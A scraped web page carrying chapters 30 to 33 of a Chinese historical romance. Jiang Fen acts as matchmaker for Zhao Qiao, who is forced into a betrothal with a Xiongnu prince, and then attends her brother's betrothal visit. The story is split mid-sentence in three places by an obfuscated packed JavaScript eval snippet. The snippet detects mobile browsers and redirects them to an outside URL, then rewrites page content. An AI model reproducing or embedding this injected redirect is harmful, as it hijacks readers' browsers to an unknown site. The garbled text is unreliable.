闻行沉默了一会儿,苦笑一下,转而换上一副无所谓的样子,道:“我闻行六亲不认惯了,他对我有恩又怎么样?死了就死了,我还能把他救活吗?” 无人在意的地方,姜汾在他身侧,注意到他握紧的拳头和暴起的青筋,没过多久,闻行眼神中脆弱的神色不断占据他这副看似冷酷的身体。 姜汾毫不犹豫地牵住他的手,闻行炽热的手心感受到一阵冷意,侧过身一看,原是姜汾的手紧紧拉着自己。 那一刻,一切的不理智土崩瓦解。 冷静通过姜汾重新回归他的身体,闻行冷漠地看着呼延阑,回应道:“你以为你外爷的结局就很好吗?” 30. 暴力 闻行的嘴像是淬了毒一样,逼得呼延阑无处可走。 “你外爷不是很尊贵吗?那日他屈服在我的剑下,跪在我脚边的时候,他苟延残喘地叫喊求饶时,你猜猜他是什么样子?” 字字诛心。 蔺阳在呼延阑旁边几乎是颤抖着,不敢翻译,但呼延阑看着闻行轻蔑的眼神和蔺阳畏畏缩缩不敢说话的姿态,便猜到了大概。 怒火似乎灼烧了他的胸膛,呼延阑本就是少年心性,根本压不住内心的急躁,眼见闻行激他一下,他便握起拳头准备打了过去。 众人在呼延阑准备挥拳的那一刻自觉地往后退了一步,只有姜汾站在原地一动不动地陪着闻行。 那一刻,姜汾也不知道自己为什么会战胜挨打的恐惧,直接站在了他的身边。 闻行感受到姜汾握住自己的手变得颤抖了些,便知道她内心害怕,他想要放开姜汾的手,却发现姜汾在不经意之间将自己抓得更紧。 他早就知道这不是原来的姜汾,他们从头到尾都只是半路夫妻。 两只从不同方向飞来的鸟的儿,在一瞬间,落在同一枝树干上,满怀猜疑地开始栖息在一处,这样的两只鸟儿,会在最后成为对方不可或缺的一部分吗? 他不敢确定。 还好蔺阳发挥了他天生的本领——眼疾手快,战局不利时眼疾手快地投降,成为敌国高官,主子在别人的地盘准备打架时,眼疾手快地抱住主子,避免了更大的闹剧发生。 被蔺阳死死抱住的呼延阑,尝试挣脱无果后,慢慢冷静下来,眼珠子滚了一圈后,知道自己盲目地冲动并没有什么好果子吃。 于是乎,他淡淡宣布:“我就是要娶那个人身后的姑娘。” 赵屿见实在躲不过去,便让下人带着赵峤先离开,然后用公事公办的语气告诉呼延阑:“这件事,需得禀告圣上后再做决定。” 呼延阑能够在京城内闹了这么久,即使选的对象一个接一个,圣上还是在一再地包容这个匈奴皇子,为得只是一个时局安稳。 他之前一直不站队,让所有人都以为他只会平衡朝堂之上各党派的关系。可今日一看,却让所有人都清楚地明白,他是迫切希望能够开展维新的。 前朝旧日的制度已经无法适应现在芪朝的发展,内里亏空,外部受敌,似乎只有维新才能突破窘境。 圣上特地派了个懂人情世故的太监全程跟着这场宴会。 在确定呼延阑的选择后,太监权衡利弊,悄悄离开了这场闹剧,回到宫中与圣上禀报。 圣上听到这个消息,自然是欣喜的。 面对外界那些可有可无的质疑,在国家面前,一切都可以是废土,他才是君主,皇权把握在自己手里,何必需要他人的同意。 翌日早朝,呼延阑特地来拜见他。 圣上很喜欢他来跪拜的样子,觉得这样算是立住君威的表现。 呼延阑面色僵硬地跪了下去,看着皇位上那个洋洋得意的小老头,觉得芪朝灭亡是迟早的事。 但现在毕竟寄人篱下,他也只能伏低做小,拿出胡人的最高礼仪对待这个亡国之君。 “圣上,昨日我已心属赵峤姑娘,请求圣上赐婚。” 他昨天晚上离开那场宴会后,与蔺阳探求了下那位姑娘的身份,发现赵峤背后的赵家是芪朝数一数二的世家后,便有了心里的打算。 获得这个家族的支持,于他而言,无疑是有利的。 至于姜汾,他又不是曹贼,没必要非逮着别人的妻子不放。 毕竟那样,也没什么好处可以占,反倒可能会与闻行拼得你死我活。 既然如此,为什么退而求其次,选择另外一个呢? 面对呼延阑的直言,圣上心满意足地同意了。 赵屿和赵父脸色铁青,站出来想要斩断这门亲事,皇上的音调都已经脱口而出了,却被皇上一口打断: “朕希望众位爱卿有异议地可以提出来,毕竟这是国家大事,不是三言两语就可以推脱的。” 话里话外都在向赵家表明:这桩婚事已经决定了,你们没有任何权利打断。 赵家算是打碎牙往肚子里咽,有苦说不出。 明明一整晚都躲得好好的,偏偏在最后一刻因为自己的原因出了差错。 赵屿看着呼延阑狼子野心的模样,自觉对不住妹妹赵峤,更多地,开始担忧妹妹以后的路。 就在此时,闻行站了出来,对圣上说:“圣上,此事事关国运,确实马虎不得,不如先让赵家姑娘与大皇子接触接触再下定论吧。” 一句话就想让圣上收回成命,怎么可能? 而且呼延阑和闻家过节不少,很难不会让人联想到这是闻行在故意刁难呼延阑。 他刚想批闻行两句,便听见呼延阑赞同道:“当然可以,这个不行,下个再换嘛。” 目中无人到了极致,彻底把赵家和侯府的面子和尊严踩到地上,甚至想要把他们拉入地底。 自从上次假的呼延阑被刺杀后,圣上对这个真的呼延阑的保护就更上一层楼,可以说是层层叠叠,生怕他再出什么事。 所以,即使赵家想让这个强抢自己女儿的贼人出什么事,也只能是心有余而力不足。 闲言碎语也是免不了的。 赵峤根本不敢出门。 别人被圣上亲自指婚,那是莫大的福分,婚事受天子庇佑。 她不一样。 别人都说,呼延阑开始愿意要个男的,后来想要别人的妻子,从始至终都没有考虑过她,她赵峤,不过是呼延阑退无可退的境地下随意瞎指的姑娘。 她一旦出门,遇到熟悉的朋友,三言两语都是来问呼延阑的事情。 好像从他指到自己的那一刻,自己的一切就冠上了他的姓氏。 赵峤心中不悦,可不敢多说什么。 圣上让他们多加接触,便特地派人来递拜帖。 派的这个人便是最近受了风寒的姜汾。 那日晚间,千防万防没有防住冷风,还是生了病。 这个物资匮乏的年代,根本不会有什么感冒灵、连花清瘟,姜汾每天都在一堆见都没见过的中药里煎熬,反倒更严重了。 倒是月信规律了很多,除此以外,姜汾真的说不出闫四海开的那些中药的好处。 圣上亲自让她来当这个送拜帖的人,其实变相就是让她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13126886|135928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当个媒人。 闻行在朝堂上忤逆了圣上的意思,圣上怕他再次捣乱,索性让姜汾出面当媒人,一来二去,算是裁去了闻行这个岔子。 面对姜汾来送拜帖,赵峤声音都冷了几分,道:“圣上是专程让你来看笑话的吗?” 姜汾明白她的嘲讽,毕竟,谁也不想经历这档子事,这放谁身上都不会好受。 所以她没有在意赵峤的话,只是把拜帖放在她面前,然后正经道:“三日后,莘月酒楼,那个混账邀你相见。” 赵峤故意把拜贴上洒了些茶水,又把拜贴甩到了地上,然后重复刚刚的问题:“为什么要这样对我?我难道是什么很恶心的人吗?” 生气是可以理解的,姜汾承受着赵峤的怒火,向她道歉:“抱歉,我和闻行也没有想到事情会变成这样。” 眼泪盈满了眼眶,赵峤活了十八年,从来没有受过如此这般的奇耻大辱。 可到最后,她也知道这件事并不能怪任何人,要怪就怪她自己。 明明哥哥千叮咛万嘱咐,让她不要跟过去,可她就是止不住好奇,到了厅堂。 如果不是这样,或许就不会发生现在这么多事。 姜汾看着赵峤痛苦的模样,觉得呼延阑真是个祸害,伤完这家,又去害那家。 她也只能告诉赵峤:“你不要害怕,婚事说白了最后掌握在你自己手里。呼延阑要是强求,你大可以反过来骂回去。” “如果到最后只能不情不愿地接受,命也是捏在我们自己手里的,旁人的闲言碎语就且让他们说去吧。” “侯府这两年承担的非议也不少,我们也没有怎么样。赵峤,你姑姑特地让我给你带话,让你不要忧心。” 赵峤几乎是瘫软在椅子上了,她知道自己避无可避,只能去接受这件事。 姜汾拍了拍他的肩膀,附在赵峤的耳边轻声道:“我教你一招。” 认真听完姜汾的话之后,赵峤不禁有些疑惑,喃喃道:“这能行吗?” 姜汾向她保证:“放心吧,这招百试百灵。” 思来想去,她还是去赴约了。 呼延阑让她不要带任何婢女进入阁子,作为相应的要求,她也让呼延阑屏退了所有的侍卫。 她掀开帘子走进去的时候,只有呼延阑一个人坐在那里,研究茶壶的构造。 姜汾还没有来。 抬头瞬间,他明明看见自己了,却继续低头,连声招呼都不打。 有些心寒。 赵峤不动声色地坐到他的对面,一言不发。 “你们芪朝人的东西,精致而不耐用。”呼延阑终于肯正视她,但是言语中没有一点尊敬:“就跟你们芪朝人一样,金玉其外,败絮其中。” 毫不意外自己会被他侮辱,赵峤还是不说话,自己给自己斟茶,自己做自己的事。 面对意想不到的冷场,呼延阑有些意外,随即又开始不断地找话题说话。 可无一例外,赵峤始终连个眼神都没给他。 说了这么多话,口干舌燥的呼延阑连赵峤的声音都没听到,心中一团火气无处可撒。 他拍桌而起,质问道:“你到底想干嘛?” 31. 婚服 不料,赵峤只是冷冷地斜了他一眼,然后依然保持沉默。 呼延阑无语道:“你再这样我们就退婚。” 他本就是说出这话来刺激赵峤的,毕竟,他听说,在芪朝,女子被退婚后,很难找到更好的夫家。 这对女子来说,是天大的灾难。 他没有想错,赵峤真的给予了他回应,只不过是更加冷嘲热讽地一句:“多谢。” 呼延阑:“你!” 赵峤白了他一眼,继续说道:“反正多我一个不多,少我一个不少,不是吗?” 呼延阑除了在闻行那里受气之外,在别处,就没人敢招惹他,可现在,赵峤的无视和反讽成功激起了他的怒气。 他彻底冷了脸,连马上要上的饭菜都不吃,便火冒三丈地准备离开。 赵峤及时叫住了他,呼延阑还以为赵峤是看明白局势,愿意为自己改变了,便满带喜色地转过身来,没想到赵峤只是淡淡地说了句: “你比我还小三岁呢,我算你的姐姐,可以叫你一声小孩吗?” 这话不像京城大家闺秀所能说出的话,赵家除了赵大战,个个都是琴棋书画,样样精通,礼仪自然是不会差的。 可呼延阑刚来这里没多久,哪里知道赵峤心性如何。 他满腹郁气地离开,用力推开门的时候,姜汾正好从拐角处走来,来时眼角还带着似有似无的眼泪。 呼延阑现在没心情去想姜汾发生了什么,扭头就走了。 反倒是姜汾,看到他离开了,想了想自己出门的时间,心里一想,觉得自己并没有迟到。 那呼延阑怎么就走了呢? 姜汾带着疑惑走进阁子,看见赵峤一个人安安静静地坐在那里,忍不住为她拍手叫快。 姜汾:太娘们了,一经出手,片草不生。 对待小小年纪就出现普信男踪迹的人,用冷暴力对待他,是最好的打击方式。 我是你的夫君,我主宰你的一切,我有资格教化和规训你。 “……” 嫁鸡随鸡,嫁狗随狗,是我来挑选你,你哪有什么做主的份? “……” 姜汾能学会这么朴实而实效地处理方式,还得多亏了她那不靠谱的老爹,家暴出轨,寻死觅活。 前十几年,姜汾回一句都会被骂,甚至会被打。 后来,发现沉默不仅会让这种男人方寸大失,而且会暴露他们所有的弱点后,姜汾直接在母亲离婚后,反手把他爹送进了大牢。 对话中的沉默,不代表了不反击和对抗。 只是不做徒劳的无用功,和这种人争吵,完全是浪费时间和精力,把所有的一切,投入到反抗的筹划中,这是最有力量的方式。 姜汾对着赵峤露出孺子可教的赞赏眼神,在看见小二上菜之后,直接挑了个晒得到太阳的地方,坐下来享用餐食。 赵峤看着姜汾,真诚地向她道歉。 “之前的事,是我对不住了,不该那样想你。” “没事。”姜汾第一次吃到如此正宗的东坡肉,一时有些忘形,听到赵峤的话后,半晌才回过神来,向她摆摆手,然后说道:“你姑姑经常给我送谖草。” 姜汾肯定不会告诉她,赵大战送自己的都是些大金链子,南海珍珠之类的。 她只是跟她说:“我俩算是扯平了。” 赵峤面色奇怪地点了点头,然后低下头去舀汤。 一顿酒足饭饱之后,姜汾主动去结饭钱,被告知呼延阑走的时候已经付过了。 姜汾内心感慨:还没有完全腐烂,起码知道自己请的人,自己就该付饭钱。 赵峤没有带任何婢女来,来接她的马车夫也不知怎的还没到,她头一次在外面逗留这么久,有些心急,在阁子里来回踱步。 “你不回去?” 面对姜汾的问话,赵峤没有办法,只能如实相告。 得知了赵峤的处境,姜汾爽快地邀请她:“和我一起走吧,放心,我肯定不会欺负你的。” 不知道还要等马车夫多久,赵峤害怕在这里遇到什么危险,没有办法,跟在姜汾身后上了马车。 只是,坐进车内后,赵峤才后知后觉地发现,那个平日里根本见不到的大忙人——镇北将军闻行,此刻坐在马车里,一动不动地看着姜汾。 姜汾担心她不认识这位,还贴心地给她介绍:“这个,闻行,传说中的我夫君。” 赵峤尴尬地坐在原地,根本不敢动弹。 见把人家小姑娘逼成这个样子,姜汾给闻行做了个手势,示意他温和一点,不要吓到人家。 闻行无辜地抬起头,平视着姜汾的眼睛,然后无助地说:“赵小姐,你说说话嘛,你不爱说话,筠婉以为是我在压迫你呢。” 面对闻行的倒打一耙,赵峤就差把自己缩进马车的角落了。 但她还是怯生生地回答:“不是他的错。” 闻行双手一摊,好像在向姜汾说:看吧,我没错。 但是姜汾的注意力不在他这儿,姜汾只是感慨:“多安静的小姑娘啊,为了摆脱呼延阑那个狗皮膏药,活生生变成一个冷漠的人。” 闻行见姜汾不与自己说话,使坏一般地告诉她:“筠婉,你风寒未好,少说些话吧。” 可是姜汾不搭理他,还是想要和赵峤交谈。 想到赵峤的哥哥赵屿,对姜汾纠缠不清,闻行有些害怕,姜汾是想趁机多了解一些赵峤的事。 他也会害怕自己身边的人离自己而远去吗? 闻行说不清这种感觉,有些苦涩,却让他甘之如饴。 一个人安静的时候,姜汾反而注意到他了,但是只是一直看着他不说话。 一直到他们把赵峤送回了家,姜汾才凑到闻行身边,看着他面无表情的脸,认真道:“我很少见你这么垮脸。” “垮脸……”闻行眸中的疑惑很明显,他问姜汾:“这是什么意思?” 姜汾突然意识到自己在闻行身边的氛围太轻松了,导致她无意识地说出了一句现代用语。 她来回找补:“就是摆脸色的意思,年年不是江南的吗?这是他们的吴侬软语,我偷学的。” 这是他们的川渝老话,一般附带脏话,不用偷学,村里三岁小孩都会说。 她也没想到闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13145161|135928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行很快便拆穿自己。 “我曾经逃难去过江南地界,在那里乞讨遇到的妇人更多,我在那里待了两三年,大概能听懂他们说话。” “但是,我没听过这句话。” 姜汾说不过,只能开始耍赖道:“从我嘴里蹦出来了,那就是存在的,至于我是听谁说的,我记不得了。” 以为闻行会鄙视她这种做法,可等了半天,闻行却只是说了一句:“终于,你现在对我说的话,已经远远超过刚刚你对赵峤说的话了。” 刚开始还没有听懂,好不容易理解后,姜汾才弄明白他刚刚为什么沉默,姜汾故意问他:“闻行,你为什么在意我对别人说多少话啊?” 闻行顿时不说话了,只是耳廓有些红晕,像晚霞的绯红。 …… 本以为呼延阑在经历过一次挫败后,会一怒之下退婚,没想到他越挫越勇,向圣上说:“相处之后,呼延阑更觉赵家姑娘的珍贵,愿意按照芪朝的规矩,三书六礼,明媒正娶。” 圣上高兴极了,让司天监选了个良辰吉日,送去赵府。 一向端庄优雅的赵峤,在亲自接过太监的传来的圣旨后,回到房间,把自己关了三天三夜。 期间,无论谁去探望,谁去劝告,她一概不理,甚至送进去的吃食,也大多被退了回来。 但是,三天后的清晨,她像是想开了一般,在所有人都以为她难受不能自已的时候,走出了房门。 赵峤全程都没有言语,吃过饭后,便亲自去绸缎铺挑了婚服料子,罢了,自己回家开始绣婚服。 赵峤母亲不愿意用这种事情来劳累女儿,劝她说:“这种事,交给外面的人来做吧。这段时间,你好好休息吧。” 谁料,赵峤一反常态地告诉母亲:“我只是要嫁人了,我不是死了,我能做,为什么要等到以后做?” “怎么开始说这些死不死的气话了……” 赵母不明白自己的女儿怎么变成了这个样子,当场便离开,等其他人回来后,直接四面八方、混乱地哭作一团。 以至于,等姜汾这个挂着名的媒人上门时,赵母拉着她就是赶。 姜汾根本不知道发生了什么事,迷迷糊糊听赵母描述,这才晓得了大概。 孺子可教是没错,但是,赵峤优秀过了头。 想到赵母认为是自己使了坏招,才把好人家的姑娘带偏了,姜汾只能低下头开始道歉认错一条龙服务。 然后,她走进里屋,正在往婚服上绣凤凰的赵峤不是没有看见她,只是一言不发,如同行将就木的死人一般。 姜汾主动搭话:“不如往婚服上绣山河吧。” 赵峤终于停下了手中活计,抬起眼来看着姜汾,问她:“为什么?” 姜汾如实以告:“你呢,算是个不服输的性格。” “我不知道你是不是从前便讨厌呼延阑,但是从我和你的接触来看,你更多的是讨厌他选来选去,把你当作最后的筹码。” “你从小就是别人争相夸赞的人,临到了出嫁,落了这口舌,怎么也不会好过。” “这时候,你就开始想怎么才能退婚。” 32. 低头 赵峤看着姜汾侃侃而谈的样子,愣了一下,然后道:“事情既然已成定局,何谈退不退婚一说?” 呼延阑满打满算也才十五岁,这时候成亲,说好听点是迫不及待,说句不好听,就是想把自己当做童养媳罢了。 姜汾看着她冷漠的表情,知道她已经被恼怒占据全部的理智,所以苦口婆心道:“这就是我为什么要专程来知会你一声。” “你平时看起来娟好静秀,可真早触了你的霉头,怒火攻心,就会失去一定的理智。这样的话,很有可能会被有心之人利用。” “我怎么会被其他人利用?”赵峤皱着眉头,不明白姜汾话里的意思。 姜汾斜下视线看着她没放下针线的手,说道:“这不就是吗?” 被激了一下后,赵峤就不吃不喝三天,甚至直接动手为自己绣嫁衣,一系列不合常理的举动,都和她不稳定的情绪有关。 “那你倒是说说。”赵峤顺着她的视线,放下了手里的东西,然后说道:“我如何才能破解此局?” 轻轻叹了一口气,姜汾故作为难道:“你应该知道曾经有个呼延阑死了吧?” 赵峤自然是知道这事,当时所有人都以为匈奴会立马采取一定的举措来报复芪朝,猜测芪朝不久之后又要开始烽火。 时局的不稳定会让她们这些在闺阁里面的小姐也不好过,她们的生活和婚嫁会受到很大影响。 所以,当时的赵峤甚至每天都在希望呼延阑这个人能重新活过来,起码活到自己嫁了人。 活是活了过来,可是天不遂人愿,代价却是自己要嫁给他。 姜汾的话初听没问题,可再仔细一想,就会听出一丝不对劲,赵峤尽力藏住瞳孔里的震惊,然后问:“不会跟你们有关系吧?” “没有。” 姜汾在内心向佛祖发誓,若有半句虚言,就让我可以得到八个徐公一样的美男和京城所有的黄金。 虽然连吃带拿这种事算不得光彩,但姜汾想得心安理得。 她只是告诉赵峤:“呼延阑被赵屿找到的时候,是在一个馄饨摊,他一个皇子,锦衣玉食的,怎么会在别人冒充自己的时候,自己心甘情愿地当着馄饨摊小二?” “这件事,我确实不知道。”赵峤想了想,迟疑道:“你是想让我去调查他?” 姜汾丝毫不掩饰地点点头,然后及时止住话题,道:“我就说到这里,剩下怎么做,全都看你自己。” 说罢,她便头也不回地离开了。 坐着马车回到侯府之后,姜汾也没闲着,姜沭和黎梓的婚事也开始忙着准备了。 黎铄急于要当姜图图的长辈,以出掉自己这么多年被姜图图压着这口气。 姜图图欠了人家人情,只能事事顺着黎铄来。 这两天,按照习俗,他们姜家要去黎家拜访,定下彩礼和成亲时的一切流程过场。 姜图图特意让她这个已经出嫁的姐姐回门,就是为了一起商办这件事。 毕竟,当时姜汾嫁给闻行时,闻行就是十里红妆、三书六礼一样不缺地娶走了姜汾。 听说,当时婚轿路过的人家,都收到了侯府给的银两。 即使是过去了好几年,到现在仍然是被人津津乐道,被誉为百年难见的亲事。 有她在,只会让黎家相信,姜家对这件事的上心程度绝对是青出于蓝而胜于蓝。 闻行还有公务要忙,姜汾在昨天就和他商量过,让他忙完所有要忙的事了,才去黎家接自己。 穿上极为正式的衣裳,姜汾压着时间赶到了黎家。 彼时,她的弟弟姜沭已经在黎家门前守候。 对于这门为了救命才得来的婚事,姜沭觉得是自己亏欠了人家好姑娘,自己都这样了,还得来拉一把自己。 他听说黎梓是极负盛名的才女,想到自己甚至都没有新科及第,就让她跟着这么平庸的自己生活,姜沭一直都满怀歉意。 要是自己再往上走一点就好了,这样,起码够格娶她吧。 姜汾根本不知道姜沭在等自己的时候,进行了如此丰富的想象。 她一直都知道,姜沭对这件婚事从来都没有发表过看法,无论姜图图和柳枝言如何询问他,他都是一言不发。 如此一来,姜汾便认为他潜意识里是在拒绝这桩婚事。 所以,当她看见姜沭站在黎府大门前的石狮子旁时,她踢了一颗小石子到他的身上,然后劝道:“别想了,都到这里了,再怎么都要走进去看看吧,不然对别人小姑娘来说,也太不尊重了。” 上一个不尊重自己未过门的妻子的人,已经开始被算计了。 姜汾带着姜沭走进了黎府大门,随即,一干下人走到他们身边,把他们带到了正厅。 姜汾一直以为是姜沭一个人来的,所以他不敢进来。 可当她看到姜图图和柳枝言的时候,才知道自己简直是大错特错。 黎铄和姜图图对待今日之事可以说是十分重视,两人特地告了一日假,就是为了可以好好地坐下来谈这件事。 在看到姜沭进来的那一刻,黎铄满脸堆着笑,把他引到座位上,然后道:“怎么不敢进来?你父母和我聊了好一会儿了,就是没见你。” 姜图图有一处没一处地找补道:“孩子为了给你家姑娘买些头次见面的礼物,这才来迟了些。” “是吗?”黎铄看着空手而来的姜沭,皮笑肉不笑地问:“礼物呢?” 听闻姜沭来了,久在内院未曾见过外男的黎梓这才在黎母的指引下走了出来。 她或许是有些害羞,一直不敢抬头,被黎母推搡着走到了前面。 姜图图见状,考虑到柳枝言身体不好,便自己“请缨”,也推搡着姜沭走向黎梓。 姜沭被姜图图从座位上拉起来的那一刻,从头到脚就是一激灵,等走到黎梓身边时,脖子耳朵等一切露在衣裳外面的皮肤,全都红透了。 两个人你抬头,我就闷着脑袋,你看我,我就看着墙。 弄了半天,姜汾都快磕完一把又一把瓜子了,两个人连对方的正脸都没看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13152019|135928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到。 出于一种对他们二人负责的态度,姜汾现场指挥起来。 “姜沭,抬头,挺胸,立正,眼睛不要偏,头不要低,人不要歪。” 看到姜沭如同头一次掌握这具肉身一般僵硬地调整自己的姿势,姜汾这才温柔地通知黎梓:“他可以了,你看吧。” 黎梓被姜汾和姜沭的行为逗得轻轻一笑,然后认真看着姜沭。 姜沭这个人,性格呆呆的,人也长得书生气,秀气不沉闷,俊朗但不锋芒毕露。他脸都红完了,似乎还很害羞。 倒是很合自己的眼缘。 黎梓心里这么想。 姜沭因为没有动弹,这才看清了自己未过门的妻子到底长什么样。 只是一眼,他便惊呆了。 黎梓长得如同话本里描述的祸国妖妃一般妖艳,挑花眼下的一颗红痣似乎在有意无意地勾人。偏生她又穿得极其素雅,就显得她这样更加诱人。 如同含苞待放的牡丹花,只需假以时日,便能名动天下九州。 见两人都已经知道了对方的长相,黎铄笑着说:“姜家小生,不是特地带了礼物吗?快拿出来交予我家小女一看吧。” 姜沭哪里有什么礼物,他尴尬地摸索了半天,正房姜图图想要继续为他说话的时候,姜沭突然原地下跪了。 “我知道我配不上你。” 这话一出来,让在场所有人面面相觑。 黎梓不知道姜沭到底是在想什么,以为他是没看上自己,想要退婚,一时有些心急,问:“你这是什么意思?” 姜沭根本不敢看她,只是按照自己内心最真实的想法说出来:“我连功名都没有,本来就配不上你。” “但是……”姜沭挪动了一下跪拜方向,然后对着黎铄真心实意道:“我是真的想娶姑娘,我保证我以后会好好念书,考取功名,绝不会三心二意,绝不会三妻四妾。” 然后,他又挪动了一下身子,对着黎梓恳切地说道:“求你,下嫁给我这么平庸的人吧。” 【现在求婚都是两个膝盖了吗?《千亿霸道总裁爱上我》里面不是这么说的啊。】 姜图图对自己儿子这个行为是恨铁不成钢,想了想,自己这辈子丢的脸也不少,挺一挺,这辈子就过去了。 黎铄听了他全部的话,觉得这孩子也算是难得的诚恳,无论是心里还是嘴上,还是高兴的,当他想要把这个准孙婿拉起来时,却发现这头倔驴始终都不肯起来。 姜汾见招拆招,告诉黎梓:“他希望得到你的肯定,你要是喜欢这样式的男的,就把他拉起来,要是不喜欢,扇他两巴掌就过了。” 扇他两巴掌,奖励他下次不要玩这么尬的剧情了。 黎梓听了姜汾的话,想了想,还是把跪着的姜沭拉了起来。 姜沭被拉起来的那一刻,还没反应过来,感受到黎梓真实地触碰着自己,他才别扭地想要挣脱开。 “我怎么能让你拉我起来呢?我这么重,万一伤到你怎么办。” 姜汾:“……” 33. 沐浴 黎梓家中兄长都是些健谈的人,很少见到姜沭这样的男人,所以,他前言不搭后语的话,着实逗得黎梓一笑。 见女儿笑了,黎母算是明白这门亲事,女儿那关算是过了。 黎铄看着他们相处的样子,也赞同地点了点头,指着姜沭笑逐颜开道:“小辈,应当叫我什么啊?” “黎公……哦,不,爷爷。” 拙劣的改口也是惹得在场的人哈哈大笑,这样一来,这门亲事算是进展顺利。 谈及接下来的流程,姜图图本来想给尽女方排面,把这场婚事办得奢华一些。 尽管自己家是清流一派,可既然与黎家接轨了,就应该按照他们家想要的来。 谁知黎铄听了以后,却直接拒绝道:“现在国家表面安稳,实则暗波涌动,赵家和匈奴的联姻只是第一出戏,谁也不知道后面会怎样。依我看来,我们还是低调些行事吧。” 就在这时,黎铄突然提到一直坐得离人群有些距离的姜汾。 “这姜家姑娘之前就胆识过人,敢孤身一人就写信给我,与我进行谈判。听闻你做了他们的媒人,那他们的事进展又如何?” 维新派的黎铄,按照姜汾的理解,应该是希望这件事尽快能成的。 但是,事事都有不一样之处,姜汾不能匆忙下定论。 所以,她囫囵道:“应当是顺利的,婚期已经定在七月十八了。” “这……” 柳枝言一直都保持着沉默寡言,可听到这话,她却是忍不住惊讶道:“这不是鬼月吗?” 关于七月十五中元节,一直以来都有个说法,上下半个月,都应当行事注意,免得惹得鬼怪上门,破财又来灾。 司天监是专门监察国运之事的部门,按理说,他们不会弄错一分一毫的,可是这次这事,确实有些蹊跷。 但姜汾也没有到那个可以随意质疑司天监的地位,她只能说:“匈奴那边与我们习俗不同,不在意这些的。” 黎铄听了,算是对这件事有了大致的把握,沉默了一瞬,然后说道:“那我们两家之间的婚事,就尽早办了。日子不一定要多好,但事情尽快办了。” 姜图图不解地问道:“为何如此匆忙?” 黎铄神色复杂地说:“如果我没猜错,圣上应该会派你家姑娘亲自送亲。” “什么!” “很早以前就有的习俗了,媒人送姑娘嫁到男方,哪怕是两国联姻,也必须亲自送过去。” 一直以为自己只是圣上为了免除侯府对呼延阑的危害,才任命自己为这场亲事的媒人。 可如果自己要送亲到草原,那么到时候,自己能不能回来都说不准。 再加上呼延阑之前想要娶自己,如此一来,恐怕是圣上是想把自己和赵峤都送给呼延阑当见面礼了。 惴惴不安的心突然被提了起来,姜汾就差拿着撒贝宁版氧气瓶哐哐吸氧了。 要不说最老谋深算的人便是宫墙里的人呢,出这一招,若不是过来人提醒,谁会联想到这一茬。 就在此时,一直在外忙碌的闻行终于紧赶慢赶赶到了黎家。 一进门,便注意到一种诡异的安静飘荡在众人中间,特别是坐在旁边的姜汾,如同一副马上要入土的模样。 给几位长辈象征性地敬完礼,闻行来到姜汾身边,用两个人才能听到的声音问:“怎么了,这么难过的样子。” 姜汾半死不活道:“你知道我要去送亲吗?” 闻行把她的身姿扶正了,然后苦笑道:“你就为了这事焦眉愁眼成这样?” 听到闻行一点也没被影响的声音,姜汾明白了大概:“你都知道?” “当然。”闻行波澜不惊道:“从圣上颁布这道旨意的时候,我就料到他会这样。” 闻行每次都知道所有的事情,但他什么都不会告诉姜汾,从前赵大战的事,后来的出征,再到现在的送亲,每一次,姜汾后知后觉了解事情真相的时候,他才给了她当头一棒。 总是语气平淡地说:“我知道。” 姜汾知道自己永远是他计划开外的人。 “那你打算怎么做?” 这话不是姜汾问的,此刻的姜汾看着闻行的眼神更多是不可置信和难受,相较而言,更加理智的姜图图便脱口而出这个问题。 闻行还没来得及回答姜图图的问题,便被站在一旁的姜沭骂了。 “你都知道还瞒着我姐,你们都是夫妻了,彼此应该是心连着心的,凭什么你不告诉我姐?” 黎梓本来还是想拦着姜沭,让他不要掺和姜汾和闻行的事,但听了姜沭的话,又觉得有些道理,便不作任何态度地站着没动。 闻行听了姜沭劈头盖脸骂自己的话,才后知后觉地反应过来道:“筠婉,你很在意我不告诉你这些吗?” 姜汾已经平复了一大半的惊讶和难过,她很容易被闻行带乱个人的情绪,有时,甚至需要很长的时间才能缓过来。 但是,现在她很快就反应过来了,道:“也还好,只是想到早知道会这样,还不小心拉了赵峤这么好的姑娘入了这不该入的深渊,便觉得内心有愧。” 早知如此,自己答应了不就是,又怎么会让呼延阑又去害赵峤。 姜汾突如其来的豁达,确实引得闻行面露不满之色。 他认真看了又看姜汾脸上,没有发现任何的难过,脸上堆积着一片又一片的阴翳,他一字一句地问道:“你不喜欢我吗?” 姜汾被他偏到山路十八弯之外的问话又惊讶了一次,心虚地扫了一眼周围所有长辈的脸色,然后回问道:“你想什么呢?” 